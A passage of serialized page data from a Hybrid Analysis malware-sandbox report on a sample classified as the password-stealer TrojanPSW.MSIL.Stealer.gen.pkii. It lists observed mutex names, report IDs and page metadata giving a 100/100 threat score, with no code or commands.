S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5424:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5424:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5424:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5860:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"SM0:5860:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:5860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:5860:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5860:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7668:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7668:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7668:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:7668:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"SM0:7668:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:7668:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8512:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]}]}},"report_ids":{"sandbox_job_ids":["699d0f53bb3410383f0710a3","68cac8435302a3c1230ccc78","68cac8304a3f6d2add08c129","68cac876f2ef74272c039e20"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious TrojanPSW.MSIL.Stealer.gen.pkii Sample 53ab4a93b932… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 53ab4a93b932…. Malware family: TrojanPSW.MSIL.Stealer.gen.pkii. Threat score 100/100. 8/26 AV engines flagged this file. 30 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/53ab4a93b93223968cf2e71ea8070ba2d7e1a9010d21d41e25100e2b6ab516d9"}],["$","meta","4",{"property":"og:title","content":"Malicious TrojanPSW.MSIL.Stealer.gen.pkii Sample 53ab4a93b932… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 53ab4a93b932…. Malware family: TrojanPSW.MSIL.Stealer.gen.pkii. Threat score 100/100. 8/26 AV engines flagged this file. 30 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/53ab4a93b93223968cf2e71ea8070ba2d7e1a9010d21d41e25100e2b6ab516d9"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious TrojanPSW.MSIL.Stealer.gen.pkii Sample 53ab4a93b932… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 53ab4a93b932…. Malware family: TrojanPSW.MSIL.Stealer.gen.pkii. Threat score 100/100. 8/26 AV engines flagged this file. 30 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L73","11",{}]]